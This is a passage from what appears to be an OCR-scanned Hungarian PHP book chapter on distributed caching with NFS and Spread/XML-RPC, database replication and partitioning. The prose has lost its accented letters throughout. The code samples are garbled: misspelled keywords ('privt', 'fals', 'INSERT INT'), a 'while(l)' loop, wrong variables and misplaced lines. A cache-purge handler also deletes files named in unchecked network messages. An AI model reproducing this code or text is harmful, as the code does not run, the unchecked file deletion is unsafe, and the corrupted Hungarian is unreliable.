Knyvnk egyik kzponti tmja, hogy miknt hasznljunk gyorstrakat a teljestmny nvelse rdekben. A gyorstrak alkalmazsa valamilyen formban szinte minden teljestmnynvel mdszer alapja, de sajnlatos mdon szmos, ltalunk megismert mdszer - kztk a tartalom trolsa s ms folyamatok kzti gyorstrmdszerek - mkdskptelenn vlnak, ha kzvetlenl frtztt krnyezetbe helyezzk ket. Kpzeljk el, hogy van kt gpnk - az A s a B kiszolgl -, melyek trolt honlapokat szolgltatnak. Krelmek rkeznek Joe Random honlapjra, amely megtallhat trolt vltozatban mind az A, mind a B kiszolgln (lsd a 15.4. brt). Most Joe gondol egyet, s frissti a honlapjt. A frisstsi krelem az A kiszolglhoz rkezik, gy az oldal j vltozata itt jelenik meg (lsd a 15.5. brt). Ennyi, s nem tbb az, amit az eddig megismert gyorstrolsi mdszerek nyjtanak. Joe honlapjnak trolt vltozatt a frissts helyn (az A kiszolgln) rvnytelentettk, de a B kiszolgln tovbbra is van egy msolat, melyrl B nem tudja, hogy elavult (lsd a 15.6. brt). gy megszakad az sszhang az adatok kztt - szksg van teht egy olyan mdszerre, amely kpes kezelni ezt a helyzetet.

15. fejezet Elosztott krnyezet kiptse

409

15.4. bra Tbb gpen trolt krelmek.

15.5. bra Egyetlen frisstssel elveszhet a gyorstrak sszhangja.

410

PHP fejleszts felsfokon

15.6. bra

Az elavult gyorstrbeli adatok megbonthatjk a frt gpeinek sszhangjt. A munkamenetek trolt adatainl hasonl gondok merlnek fel. Joe Random megltogat egy internetes ruhzat, s rucikkeket helyez a bevsrlkocsijba. Ha a kocsi adatainak trolst a munkameneti bvts helyi fjlokra alapozza, ahnyszor csak ms kiszolglhoz kerl, Joe mindig ms s ms llapotban ltja viszont bevsrlkocsijt (lsd a 15.7. brt). A felmerlt gondokra - amellett, hogy korbban ismertetett okokbl nem szeretnnk a felhasznl munkamenett egy adott gphez ktni - kt alapvet megkzeltssel kereshetnk megoldst: Hasznlhatunk egy kzpontostott gyorstrat. Hasznlhatunk elosztott gyorstrakat valamilyen sszehangol eljrssal.

15. fejezet Elosztott krnyezet kiptse

411

15.7. bra

A munkamenetek trolt adatainak sszhangja megbomlik, gy a bevsrlkocsik hasznlhatatlann vlnak.

Kzpontostott gyorstrak
A gyorstrak sszehangolsnak egyik legegyszerbb s legelterjedtebb mdszere egy kzponti gyorstr hasznlata. Ha a rsztvevk ugyanazokat a gyorstrfjlokat hasznljk, az elosztott trolst vez aggodalmak legtbbje eloszlik (alapjban vve azrt, mert maga a gyorstr gy mr nem tekinthet teljes mrtkben elosztottnak - csak az azt megvalst gpek). A kzpontostott fjl alap gyorstr megvalstsnak legmegfelelbb eszkzei a hlzati fjlrendszerek. A Unix rendszereken szabvnyoss vlt az NFS fjlrendszer, ami kt okbl is nagyszer vlaszts: Az NFS kiszolglk s gyflprogramok megtallhatk gyakorlatilag minden modern Unix rendszeren.

412

PHP fejleszts felsfokon

Az jabb Unix rendszerek megbzhat fjlzrolsi mdszerek hasznlatt teszik lehetv az NFS-en, ami azt jelenti, hogy a gyorstrknyvtrakat vltoztats nlkl felhasznlhatjuk. Az NFS valdi szpsge a felhasznl szempontjbl az, hogy nem ltszik klnbznek ms fjlrendszerektl, gy igen egyszer utat mutat a gyorstr megvalstsnak kiterjesztsre egyetlen gprl gpek egy frtjre. Ha van egy kiszolglnk, amely a /cache/www. f oo . com/ knyvtrat hasznlja gyorstrhoz, a 10. fejezetben ksztett Cache_File modullal egyszeren kibvthetjk ezt a rendszert mindssze ksztennk kell egy /shares/cache/www. f oo. com/ nev exportlhat knyvtrat az NFS kiszolglnkon s befzni a kvnt gpen: #/etc/fstab nfs-server: /shares/cache/www. foo.com /cache/www. foo. com nfs rw,noatime Ezutn a befzs (mounting, csatols) mindssze ennyibl ll: # mount -a Persze az NFS hasznlatnak vannak bizonyos htulti is: Szksg van egy NFS kiszolglra - ez a legtbb esetben egy kifejezetten e clt szolgl gp. Az NFS kiszolgl az egsz rendszer Achilles-sarka. Szmos gyrt kszt ipari minsg NFS kiszolgl kszlkeket, de magunk is kszthetnk olyan sszelltsokat, melyekre bizalommal hagyatkozhatunk. Az NFS kiszolgl sok esetben szk keresztmetszetet jelent a teljestmny szempontjbl. A kzponti kiszolglnak viselnie kell a lemezes bemeneti-kimeneti mveletek terhelst minden webkiszolgl gyorstrnl, s az adatokat a hlzaton is t kell adnia. Ez mind a lemezhasznlat, mind a hlzati tvitel esetben adattorldshoz vezethet. A gondok elkerlsre rdemes megfogadnunk nhny j tancsot: 1. Csatoljuk megosztott knyvtrainkat a noatime belltssal - ez kikapcsolja a fjlok metaadatainak frisstst olvassi cl elrsek esetn. 2. Figyeljk a hlzati forgalmat, s alkalmazzunk nyalbolt (trunked) Ethernet/Gigabit Ethernet rendszert, ha a svszlessg-kihasznls 75 Mbps fl n. 3. Hvjuk meg legtapasztaltabb rendszerfelgyel ismerseinket egy srre, s krdezzk ki ket az NFS rteg hangolsnak titkairl. Minden opercis rendszer a maga egyedi mdjn ll hozz az NFS-hez, gy ez a fajta finomhangols igen nehz feladat. Kedvenc idzetem e tren a 4.4 BSD sgoldalainak NFS csatolsokrl szl rszben tallhat:

15. fejezet Elosztott krnyezet kiptse

413

Ksznheten annak, hogy a Sun RPC az UDP ("unreliable datagram", vagyis megbzhatatlan adatcsomag) tvitelre pl, az ilyen csatolsok hangolsa nem kecsegtet sok sikerrel. A kzpontostott trols msik lehetsge a relcis adatbzis-kezel rendszerek hasznlata. Ez persze ellenttesnek tnhet a gyorstrak eredeti cljaival - vagyis az adatbzisok terhelsnek cskkentsvel -, de nem felttlenl gy ll a helyzet. Valdi clunk a kltsges kdrszletek cskkentse vagy kikszblse - az adatbzisok lekrdezsei pedig gyakran kltsgesek. Gyakran, de nem mindig - gy ht hatkonyan alkalmazhatjuk gyorstrainkat, ha az adatbzisok kltsges lekrdezseinek eredmnyt kis kltsg lekrdezsek tjn tesszk elrhetv. Teljesen szttertett gyorstrak ksztse a Spread segtsgvel A kzpontostott gyorstrak hasznlatnl sokkal jobb megolds, ha a gyorstr olvasst mindenfle kzponti szolgltattl fggetlenl tudjuk vgezni, az rs pedig elosztott rendszerben folyik - gy az rvnytelentskor az egsz frt sszes msolata rvnytelenn vlik. Mindezt megvalsthatjuk a Spread segtsgvel. A Spread egy, a Johns Hopkins Egyetem Hlzati s Elosztott Rendszerek Kzpontjban kifejlesztett csoportos kommunikcis eszkzkszlet, amely hatkony mdot ad a frt szolgltatsai kzti csoportos adattvitelre, biztostva az zenetek sorrendjnek megrzst s megbzhat kzbestst. A program maga nem elosztott, eszkzkszlete (amely egy zenetbusz) azonban lehetv teszi elosztott alkalmazsok kiptst. A szerkezet vzlatt a 15.8. brn lthatjuk. A gyorstrfjlokat vltozatjelzs nlkl helyben troljuk az egyes gpeken. Ha a trolt adatokat frisstik, ez a mvelet egy zenetet kld a cache Spread csoport fel. Minden gpen fut egy dmon, amely ezt a csoportot figyeli. Amikor egy gyorstr-rvnytelentsi krelem rkezik, ez a dmon hajtja vgre a megfelel mveleteket a helyi gpen. Ez a mdszer tkletesen mkdik, amg a hlzatot fel nem osztjk - vagyis gpek nem csatlakoznak, illetve nem szakadnak le a gyrrl. Tegyk fel pldul, hogy az egyik gp sszeomlik, majd jra elindul. Mkdsnek sznetben elkpzelhet, hogy a gyorstr bejegyzsei frissltek. Lehetsges, br meglehetsen bonyolult olyan rendszert kszteni, amely a Spread segtsgvel jra rvnyesti a vltoztatsokat ilyen esemnyeknl. Szerencsre a trolt adatok termszetkbl kvetkezen idlegesek, jbli elksztsk pedig nem tlzottan kltsges. Ebbl a felttelezsbl kiindulva egyszeren kirthetjk a webkiszolgl gyorstrt minden olyan alkalommal, amikor a dmon jraindul. Ez kemny lps, de egyszer mdszert ad arra, hogy elkerljk az elavult adatok hasznlatt.

414

PHP fejleszts felsfokon

15.8. bra

Egy egyszer Spread gyr. Mindennek megvalstshoz teleptennk kell nhny eszkzt. Elszr is, le kell tltennk, majd teleptennk kell a Spread eszkzkszletet a www. spread. org cmrl. Ezutn teleptennk kell a Spread burkoljt a PEAR-ben: # pear install spread A Spread burkolknyvtr C-ben kszlt, gy fordtshoz fontos, hogy minden PHP fejleszteszkz teleptve legyen (ez gy van, ha a forrsbl ptettk fel a PHP-t). Ha nem szeretnnk sajt protokollt kszteni, kirtsi krelmeinket az XML-RPC segtsgvel tovbbthatjuk. Ez nmikpp tlzsnak tnhet, de az XML-RPC valjban igen j vlaszts. Sokkal egyszerbb, mint a SOAP, mindemellett viszonylag bvthet s konyhaksz" formtum, amely lehetv teszi, hogy szksg esetn ms nyelveken fut gyfeleket is alkalmazzunk (gy pldul egy nll grafikus felhasznli fellet is ellenrizheti s rtheti a gyorstrfjlokat). Mindenekeltt teleptennk kell egy XML-RPC knyvtrat. A PEAR XML-RPC knyvtr nagyszeren mkdik, teleptse a PEAR-ben az albbiak szerint vgezhet el:
# pear install XML_RPC

15. fejezet Elosztott krnyezet kiptse

415

Eszkzeink teleptse utn szksgnk van egy gyflre is. Cache_File osztlyunkat kibvthetjk egy, az adatok kirtst vgz tagfggvnnyel: require_once 'XML/RPC.php'; class Cache_File_Spread extends Fil { privt $spread; A Spread mkdsnek alapja, hogy az gyfelek kiszolglk hlzathoz csatlakoznak, ahol tbbnyire egy gphez egy kiszolgl tartozik. Amennyiben a dmon a helyi gpen fut, egyszeren megadhatjuk a kapujt, s kapcsolatot pthetnk ki vele egy Unix tartomnycsatoln keresztl. A Spread alaprtelmezsben a 4803-as kaput hasznlja: privt $spreadName = '4803';

A Spread gyfelei akkor kldhetnek s fogadhatnak zeneteket, ha csatlakoznak egy csoporthoz. Aki nem csatlakozott, nem lthatja az zeneteket (jllehet a kldsre van lehetsge). A csoportok nevei tetszlegesek lehetnek, automatikus ltrehozsuk pedig akkor trtnik meg, amikor az els gyfl csatlakozik. Csoportunkat elnevezhetjk xmlrpc-nek: privt $spreadGroup = 'xmlrpc'; $expiration=false)

privt $cachedir = '/cache/'; public function______construct( $ f ilename,


{

parent: :___ construct( $ f ilename, $expiration); Az automatikus kapcsolds rdekben ltrehozunk egy j Spread objektumot: $this->spread = new Spread($this->spreadName);
}

Ez a tagfggvny vgzi a munka dandrjt. Ksztnk egy XML-RPC zenetet, majd elkldjk a multicast tagfggvnnyel az xmlrpc csoportnak: function purge()
{

// Ezt a sztcsatolst nem kell vgrehajtanunk, // sajt helyi dmonunk megteszi helyettnk: // unlink ("$this->cachedir/$this->filename"); $params = array($this->filename); $client = new XML_RPC_Message("purgeCacheEntry", $params); $this->spread->multicast($this->spreadGroup, $client->serialize());
} } }

416

PHP fejleszts felsfokon

Ezek utn, ahnyszor csak rvnytelentennk kell egy gyorstrfjlt, az albbi kdot hasznlhatjuk:
$cache->purge();

Szksgnk lesz egy RPC kiszolglra is az zenetek fogadsra s feldolgozsra: require_once 'XML/RPC/Server.php'; $CACHEBASE = ' / c a c h e / ' ; $serverName = ' 4 8 0 3 ' ; $groupName = 'xmlrpc'; A gyorstrfjlok eltvoltsrt felels fggvny meglehetsen egyszer - visszafejti a kirtend fjlt, s lecsatolja. A gyorstrknyvtr jelenlte egy btortalan lps a biztonsg irnyban. Alkalmasabb megoldsknt hasznlhatjuk rajta a chroot-ot, hogy indtskor a gyorstrknyvtrhoz kapcsolja. Mivel azonban mindez a rendszer belgye, most nem kell vele foglalkoznunk. Lssuk ht ezt az egyszer eltvolt fggvnyt: function purgeCacheEntry($message) { global $CACHEBASE; $val = $message->params[0]; $filename = $val->getval(); unlink("$CACHEBASE/$filename");
}

Szksgnk van mg az XML-RPC belltsra - egy kiosztsi tmbben meg kell adnunk kiszolglobjektumunk szmra, milyen fggvnyeket hvjon: 'purgeCacheEntry' => array('function' => 'purgeCacheEntry')); $server = new XML_RPC_Server($dispatches , 0 ) ; Elrkeztnk a kiszolgl szvhez. Kapcsoldunk helyi Spread dmonunkhoz, csatlakozunk az xmlprc csoporthoz, s vrunk az zenetekre. Ha megrkezik egy, meghvjuk rajta a kiszolgl parseRequest tagfggvnyt, amely a kvnt fggvnyhez irnyt (esetnkben ez a purgeCacheEntry): $spread = new Spread($serverName); $spread->join($groupName); while(l) { $message = $spread->receive(); $server->parseRequest($data->message);
}

$dispatches = array(

15. fejezet Elosztott krnyezet kiptse

417

Adatbzisok mretezse
A nagymret szolgltatsok felptsnek egyik legnagyobb kihvsa az adatbzisok mretezse. Ez nem csak a relcis adatbzis-kezel rendszerekre igaz, hanem szinte minden kzponti adattrolra. Kzenfekv megoldsknt knlkozik az adattrolk mretezsre, hogy ugyanazt tegyk velk, mint brmely ms szolgltatssal - osszuk fel, s rendezzk frtkbe. Sajnlatos mdon azonban a relcis adatbzis-kezelk esetben sokkal nehezebb dolgunk akad, mint ms szolgltatsoknl. A sztbonts igen jl hasznlhat az adatbzisok mretezsben - klnbz szinteken. A szolgltatsokhoz tartoz adatobjektumokat smkba rendezhetjk. Mivel az adatok teljes mrtkben (vagy legalbbis javarszt) sztvlaszthatok, ezeket a smkat klnbz, fizikailag is nll adatbzisokba helyezhetjk, komolyabb gondok nlkl. Nha azonban elfordul, hogy olyan, adatbzisra pl alkalmazssal van dolgunk, melyben az egyes smkra annyi SQL kd hat, hogy ennek mretezsre is szksg van. Legtbb esetben a nagyobb teljestmny hardver beszerzse egyszer s tkletes megoldst ad erre a problmra, de elfordulhat, hogy ez nem jrhat t: A hardvereszkzk ra nem linerisan n a teljestmnnyel. A nagyteljestmny gpek valban drgk lehetnek. A bemeneti-kimeneti adattorldsok nehezen (rtsd: kltsges mdszerekkel) elzhetk meg. A kereskedelmi alkalmazsok gyakran processzoronknti engedlyekhez ktttek, melyek ra a hardvereszkzkhz hasonlan nem linerisan n a processzorok szmval. (Az Oracle pldul nem engedi meg szabvnyos kiadsnak futtatst olyan gpeken, amelyek ngynl tbb processzort hasznlhatnak.)

Mindennapi gondok a svszlessggel

A 12. fejezetben lthattuk, hogy ha a kelletnl tbb sort olvasunk be, a lekrdezsek lelassulhatnak, hiszen minden kapott adatot t kell vinnnk a hlzaton az adatbzistl a krelmet kiad gphez. Kiterjedt alkalmazsokban ez a terhels jelents hatssal lehet a hlzat mkdsre. Tekintsk a kvetkez pldt: ha 100 sort krnk egy oldal elksztshez, soraink pedig tlagosan 1 KB mretek, akkor oldalanknt 100 KB adatot kell tvinnnk a helyi hlzaton. Ha ezt az oldalt msodpercenknt 100-szor krik, akkor csak az adatbzisbl 100 KB x 100 - 10 MB adatot kell tvinnnk msodpercenknt. Figyeljnk, bjtokrl van sz, nem bitekrl! Ha bitben szmolunk, akkor ez 80 Mbps-ot jelent, ami gyakorlatilag teljesen lefoglal egy 100 Mbps-os Ethernet csatolst. A plda persze kiss mesterklt. Ha krelmenknt ennyi adatot kell tvinnnk, az biztos jele annak, hogy valamit elrontottunk - mindazonltal ez a plda jl mutatja, miknt k-

418

PHP fejleszts felsfokon

pes egy httrfolyamat jelents svszlessg lefoglalsra. Radsul nem az adatbzis-lekrdezsek az egyedli olyan mveletek, amelyek svszlessget vesznek el. Vannak itt mg ms, hagyomnyosan nagy fogyasztk" is: Hlzati fjlrendszerek - A fejlesztk tbbsgnek persze nyilvnval, hogy krelmenknt 100 KB-ot kiolvasni egy adatbzisbl nem valami j tlet, de gy tnik, sokan megfeledkeznek arrl, hogy 100 KB-os fjlokat NFS-en vagy ms hlzati fjlrendszeren tszlltani ugyanekkora svszlessg-felhasznlssal jr, s gy hihetetlen terhelsnek tehetik ki a hlzatot. Biztonsgi msolatok - A biztonsgi msolatok klnsen alkalmasak a hlzati kapcsolatok lefoglalsra. Szmtsi ignyk gyakorlatilag nincs, gy hagyomnyosan hlzati korltozk. Mindez azt jelenti, hogy egy biztonsgi msolatksztsi rendszer knnyedn kpes elbnni" brmekkora rendelkezsre ll svszlessggel. Nagy rendszerek esetben e gyorsan nvekv svszlessgigny kezelsre elvlasztjk a nagy fogyasztkat, hogy ne befolysoljk egyms mkdst. Els lpsknt gyakran klnbz hlzatokat ptenek ki a webes s az adatbzis-forgalom szmra. Ez fizikailag tbb hlzati krtya beptsvel jr. Szmos hlzati kapcsol tmogatja logikai hlzatok elklntst, vagyis virtulis helyi hlzatok (VLAN-ok) ltrehozst. Erre valjban technikailag nincs szksg, de kezelsk hatkonyabb s biztonsgosabb. Ezutn a webes forgalmunkat az egyik, az adatbzisforgalmat pedig a msik virtulis hlzaton bonyolthatjuk. Teljessggel bels hasznlat hlzatok (mint az adatbzis-hlzatok) mindig privt hlzati terletet kell hasznljanak. Szmos terhelskiegyenlt tmogatja a hlzati cmek fordtst, ami azt jelenti, hogy a webes forgalmunkat megvalst hlzat privt cmterleten mkdhet, s csak a terhelskiegyenlt mkdik nyilvnos cmeken. Ahogy a rendszerek nvekednek, le kell vlasztanunk a kltsges feladatokat. Ha van egy hlzati biztonsgi msolatkszt rendszernk, rdemes az ezt hasznl gpek szmra kln hlzatot kialaktanunk. Bizonyos esetekben szksg lehet arra, hogy Gigabit Ethernet, vagy nyalbolt Ethernet rendszert hasznljunk. A biztonsgi msolatkszt rendszerek, a nagyforgalm NFS kiszolglk s az adatbzisok gyakran vlnak svszlessg-korltoz tnyezv 100 Mb-es Ethernet hlzatokon. Bizonyos webes rendszerek, gy a statikus kpszolgltatk, melyek nagysebessg webkiszolglkat - mint a Tux vagy a thttpd - futtatnak, valdi korltozst jelenthetnek Ethernet hlzatokon. Vgezetl, ne feledjk, a mretezhetsg biztostsnak els lpse, hogy krltekinten jrjunk el a kltsges feladatok futtatsnl. Alkalmazzunk tartalomtmrtst a webes svszlessg jobb kihasznlsa rdekben, ne hagyjuk, hogy lekrdezseink tl nagyra njenek s mindig troljuk helyi kiszolglnk lland adatait gyorstrakban. Ha ngy klnbz adatbzisrl kell biztonsgi msolatot ksztennk, temezzk gy a feladatokat, hogy ne fedjk t egymst.

15. fejezet Elosztott krnyezet kiptse

419

E helyzetre ktfle megolds ismeretes: a tbbszrzs (replikci) s az objektumok sztbontsa. A tbbszrzs mester-mester s mester-szolga vltozatban valsthat meg. Akrmit is mondjanak a gyrtk termkeik npszerstsre, jelenleg nem ltezik olyan mestermester megolds, ami kifogstalanul megfelelne. Legtbbjknek osztott trolra van szksge a mkdshez, ami azt jelenti, hogy szmthatunk kimeneti-bemeneti adattorldsokra. Emellett tovbbi terhet jelen, hogy a pldnyokat sszhangban kell tartani (gy lehet csak biztostani a kiolvasott adatok sszhangjt a frisstsek kzben). Az osztott trral nem rendelkez mester-mester smknak meg kell birkzniuk a tranzakcik sszehangolsval, s kezelnik kell a hlzaton keresztl lebonyoltott ktlpses vgrehajtsokat is (nem is beszlve az olvassok kzben megtartand adatpsgrl). Ezek a megoldsok radsul ltalban lassak is. (A lasssg" persze viszonylagos fogalom. E rendszerek kzl sok igen gyorss is tehet - ez a sebessg azonban elmarad a ktszer akkora teljestmny nll gpektl, st sokszor mg az azonos teljestmnyektl is.) A mester-mester smkkal a gondok a sok rsi mveletet vgz alkalmazsoknl jelentkeznek. Ha az adatbzisokat amgy is lefoglalja az rs, a ktlpses vgrehajts megbnthatja a rendszer mkdst. Ez a mdszer a kvetkezetessg megrzse rdekben az albbi kt lpsre bontja a vgrehajts folyamatt: Az greti szakasz, ahol az adatbzis, melybe az gyfl r, gretet tesz a vgrehajts elvgzsre minden gyfelnek. A vgrehajtsi szakasz, ahol maga a vgrehajts megtrtnik. Amint azt kitallhattuk, ez a folyamat jelents tbbletterhet r minden rsi mveletre, ami nagy gondot jelenthet, ha az alkalmazsnak mr eleve gondjai vannak az rsi mveletek mennyisgvel. Ha adatbzis-kiszolglnk nagymrtkben kihasznlja a CPU erforrsait (ami gyakran a helytelen SQL kdols kes bizonytka), egy frtztt rendszer teljestmnynvekedst eredmnyezhet, de a tbbmesteres frthasznlat ltalban nem a vrt eredmnyt adja. Ez persze nem azt jelenti, hogy az ilyen rendszereknek nincs ltjogosultsguk. Hasznlatuk a magas rendelkezsre lls megoldsok esetben nagy segtsg lehet. Marad teht a mester-szolga tbbszrzs. Itt kevesebb technikai kihvssal kell szembenznnk, mint a mester-mester megoldsnl, s jelents sebessgnvekedst rhetnk el. Nagy klnbsg a mestermester s a mesterszolga rendszerek kztt, hogy az elbbinek globlis sszhangra van szksge, vagyis az adatbzis minden adatnak tkletesen sszhangban kell lennie a tbbiekkel. A mester-szolga tbbszrzs esetben a frisst-

420

PHP fejleszts felsfokon

sek sokszor nem is vals idejek. gy pldul a frisstsek mind a MySQL tbbszrzsben, mind az Oracle pillanatfelvtel alap tbbszrzsben az adatvltoztatsoktl eltr idben trtnnek meg. Mindkt esetben lehetsgnk van arra, hogy szigoran szablyozzuk az elavultsg megengedett mrtkt, de mg az enyhn elavult adatok hasznlatnak lehetv ttele is jelents terhelscskkenst eredmnyezhet. A mesterszolga adatbzisok legjelentsebb korltozsa, hogy el kell vlasztanunk a csak olvassi s az rsi mveleteket. A 15.9- brn MySQL kiszolglk egy frtjt lthatjuk, amely a mesterszolga tbbszrzsre pl. Az alkalmazs adatokat olvashat a szolgakiszolglk brmelyikbl, de a tbbszrztt tblk frisstst a mesterkiszolglra kell kldenie.

15.9. bra A MySQL mester-szolga tbbszrzsnek ttekintse. Mindazonltal e tren a MySQL mellett ms segtsgre is szmthatunk. Szmos adatbzisban beptett lehetsgeink vannak akr az egsz adatbzis, akr egyes tblk tbbszr-

15. fejezet Elosztott krnyezet kiptse

421

zsre. Az Oracle-ben pldul ezt megtehetjk pillanatfelvtelek vagy valdi nzettblk (materialized view)segtsgvel. Sajt relcis adatbzis-kezelnk lehetsgeirl tjkozdjunk a lersban, vagy krdezzk meg adatbzis-felgyel kollginkat. A mester-szolga tbbszrzs alapja, hogy az rsi mveleteket tkldjk, majd alkalmazzuk minden rintett gpen. Olyan alkalmazsokban, amelyek nagy mennyisg egyidej olvassi s rsi mveletet tartalmaznak, a mkds lelassulhat (az olvasott adatok psgnek biztostsa miatt). Ezrt ht a mester-szolga tbbszrzs legjobban olyan helyzetekben alkalmazhat, amikor az olvassi mveletek adatmennyisge meghaladja az rsi mveletekt.

Mester-szolga rendszerekre pl alkalmazsok ksztse


A MySQL 4.l-es s ksbbi vltozataiban beptett fggvnyeket tallhatunk, melyek kpesek elosztani lekrdezseinket mester-szolga rendszerekben. Megvalstsuk a MySQL gyflknyvtrainak szintjn trtnik, ami meglehetsen hatkony eszkzz teszi ket. Ahhoz, hogy hasznlatba vegyk e fggvnyeket a PHP-ben, az j mysqli bvtmnyt kell alkalmaznunk, amely megszaktja a visszamenleges megfelelst a mysql bvtmnynek, s nem tmogatja a MySQL 4.1 eltti vltozatait. Ha gy gondoljuk, a lekrdezsek kiosztst teljesen automatikusra is llthatjuk: $dbh = mysqli_init(); mysqli_real_connect($dbh, $host, $user, $password, $dbname); mysqli_rpl_parse_enable($dbh); // a lekrdezsek szoksos elksztse s vgrehajtsa Amysql_rpl_parse_enable () fggvny arra utastja az gyflknyvtrakat, hogy automatikusan hatrozzk meg, hogy a lekrdezs egy szolghoz kerljn, vagy a mester szolglja ki. Mindazonltal az automatikus felismersre nem igazn rdemes hagyatkoznunk. Fejlesztknt sokkal jobb rltsunk van arra, hogy melyik lekrdezst miknt kell kiszolglni, mint az automatikus mdszereknek. A mysqli fellet termszetesen ez esetben is j szolglatot tesz. Amennyiben egyetlen erforrssal dolgozunk, szintn megadhatjuk, hogy egy lekrdezs vgrehajtsa egy szolgn vagy a mesteren trtnjen: $dbh = mysqli_init(); mysqli_real_connect($dbh, $host, $user, $password, $dbname); mysqli_slave_query($dbh, $readonly_query); mysqli_master_query($dbh, $write_query);

422

PHP fejleszts felsfokon

Persze elrejthetjk ezeket az eljrsokat burkolosztlyokban is. Ha 4. l-esnl rgebbi MySQL-t vagy ms olyan adatbzis-kezel rendszert hasznlunk, ami nem tmogatja tkletesen az automatikus lekrdezselosztst, ezt a felletet a burkolosztlyban is utnozhatjuk: class Mysql_Replicated extends DB_Mysql { protected $slave_dbhost; protected $slave_dbname; protected $slave_dbh; public function ______construct($user, $pass, $dbhost, $dbname, $slave_dbhost, $slave_dbname)
{

$this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname; $this->slave_dbhost = $slave_dbhost; $this->slave_dbname = $slave_dbname;
}

protected function connect_master() { $this->dbh = mysql_connect($this->dbhost, $this->user, $this->pass); mysql_select_db($this->dbname, $this->dbh);


}

protected function connect_slave() { $this->slave_dbh = mysql_connect($this->slave_dbhost, $this->user, mysql_select_db($this->slave_dbname,


}

$this->pass);

$this->slave_dbh); {

protected function _execute($dbh, $query) $ret = mysql_query($query, $dbh) ; if(is_resource($ret)) { return new DB_MysqlStatement($ret);
}

return fals; } public function master_execute($query) { if(!is_resource($this->dbh)) { $this->connect_master(); } $this->_execute($this->dbh, $query); } public function slave_execute($query) { if(!is_resource($this->slave_dbh)) { $this->connect_slave(); } $this->_execute($this->slave_dbh, $query); } }

15. fejezet Elosztott krnyezet kiptse

423

A lekrdezsek automatikus kiosztst az API-ba is begyazhatjuk, megksrelve felderteni, mely lekpezsek tartalmaznak kizrlag olvassi mveleteket, s melyeket kell a mesterhez irnytani. Mindazonltal az automatikus kioszts ltalban kevsb alkalmas mdszer, mint a kzi" felderts. Ha nagy kdot szeretnnk tbbszrztt adatbzisra trni, az automatikus szolgltatsok hasznosak lehetnek, de amennyiben idnk s erforrsaink engedik, jobb, ha a kzi megoldst vlasztjuk.

A tbbszrzs alternatvi
Amint a fejezet korbbi rszben emltettk, a mester-szolga tbbszrzs nem oldja meg minden adatbzis mretezhetsgi gondjait. Sok rsi mveletet tartalmaz alkalmazsnl a szolgk hasznlatba vtele ronthat a teljestmnyen. Ilyenkor a program olyan sajtossgai utn kell nznnk, amiket hatkonyan kihasznlhatunk. Ilyen eset lehet pldul, amikor olyan adatokat tallunk, amelyek knnyen rszekre bonthatk. Ez gyakorlatilag azt jelenti, hogy egy logikai smt tbb fizikai adatbzisra osztunk egy elsdleges kulccsal sszektve. A hatkony rszekre bontsnak egyetlen alapszablya ltezik: mindenflekppen kerljk az olyan lekrdezsek hasznlatt, amelyek egyszerre tbb adatbzist is elrnek. Az elektronikus levelezrendszerek nagyszer pldt adnak erre az esetre. A leveleket csak fogadjuk rheti el, gy nem kell aggdnunk amiatt, hogy kt cmzettet ssze kellene kapcsolnunk. gy ht knnyen sztoszthatjuk a leveleket mondjuk ngy adatbzis kztt: class Email {
public public public /* ... } $recipient; $sender; $body; */

class PartionedEmailDB { public $databases; Most ptsk ki a kapcsolatokat az adatbzisokhoz. Itt burkolosztlyokat alkalmazunk, melyekkel elrejthetjk a kapcsolatok rszleteit:
public function___ construct () { $this->databases[0] = new DB_Mysql_EmailO ; $this->databases[1] = new DB_Mysql_Emaill; $this->databases[2] = new DB_Mysql_Email2; $this->databases[3 ] = new DB_Mysql_Email3; }

424

PHP fejleszts felsfokon

Mind a beillesztsnl, mind a kiolvassnl kivonatoljuk a fogad fl azonostjt annak meghatrozshoz, hogy melyik adatbzisban tallhatjuk meg a hozz tartoz leveleket. Itt a crc32-t alkalmazzuk, mivel gyorsabb, mint ms kriptogrfiai hastfggvnyek (md5, shal s gy tovbb), tovbb azrt, mert olyan fggvnyre van szksgnk, ami a felhasznlkat elosztja az adatbzisok kztt, s nem kell az ersebb egyirny hastfggvnyek ltal nyjtott biztonsgi szolgltatsokra ptennk. me a beillesztsi s kiolvassi fggvnyek, amelyek crc32 alap kivonatol mdszerrel osztjk el a terhelst az adatbzisok kztt: public function insertEmail(Email $email) { $query = "INSERT INT emails (recipient, sender, body) VALUES(:1, : 2, : 3 ) " ; $hash = crc32($email->recipient) % count($this->databases); $this->databases[$hash]->prepare($query)->execute($email->recipient, $email->sender, $email->body);
}

public function retrieveEmails($recipient) { $query = "SELECT * FROM emails WHERE recipient = : 1"; $hash = crc32($email->recipient) % count($this->databases) ; $result = $this->databases[$hash]->prepare($query) ->execute($recipient); while($hr = $result->fetch_assoc) { $retval[] = new Email( $ h r ) ;
} }

A relcis adatbzis-kezel rendszerek alternatvi


Fejezetnkben a relcis adatbzisokra pl rendszerekre sszpontostottunk. Nem szabad azonban abba a tvedsbe esnnk, hogy azt higgyk, minden alkalmazs mgtt relcis adatbzis-kezelk llnak. Sok esetben a programok nem kpesek hatkonyan egyttmkdni egy ilyen rendszerrel, gy inkbb sajt alkalmazskiszolglkat kell hasznlnunk. Vegynk pldul egy azonnali zenetkld szolgltatst - ez gyakorlatilag egy sorballt rendszert jelent. Mkdse sorn a feladk zenetei egy sorba kerlnek, majd a fogadk egyszeren kiveszik azokat ebbl a sorbl. Mindezt modellezhetjk egy relcis adatbzis-kezelvel, de nem ez a leghatkonyabb mdszer. Sokkal jobban jrunk, ha kifejezetten e feladat megoldsra ksztnk egy alkalmazskiszolglt. Ezt brmilyen nyelven megvalsthatjuk, s olyan protokollal rintkezhetnk vele, amilyennel csak szeretnnk. A 16. fejezetben bemutatunk nhny webszolgltats kzpont protokollt. Emellett azonban magunk is elkszthetjk sajt protokollunkat, s a PHP sockets bvtmnye segtsgvel alacsony szint hlzati csatolkon is folytathatunk adatcsert.

15. fejezet Elosztott krnyezet kiptse

425

A PHP alap alkalmazskiszolglk krben rdekes fejleszts Driek Rethans SRM projektje. Az SRM gyakorlatilag egy alkalmazskiszolgl krnyezet, amely egy begyazott PHP rtelmez kr pl. Az alkalmazsszolgltatsok PHP-ben kszltek, s egy csatolt kommunikcis bvtmny segtsgvel rintkeznek egymssal. Egy maradand PHP alkalmazskiszolgl lte a nyelv rugalmassgra szolgltat jabb bizonytkot, ami rmmel tlt el minden programozt, aki valamennyire is ad a kd jrahasznosthatsgra.

Tovbbi olvasmnyok
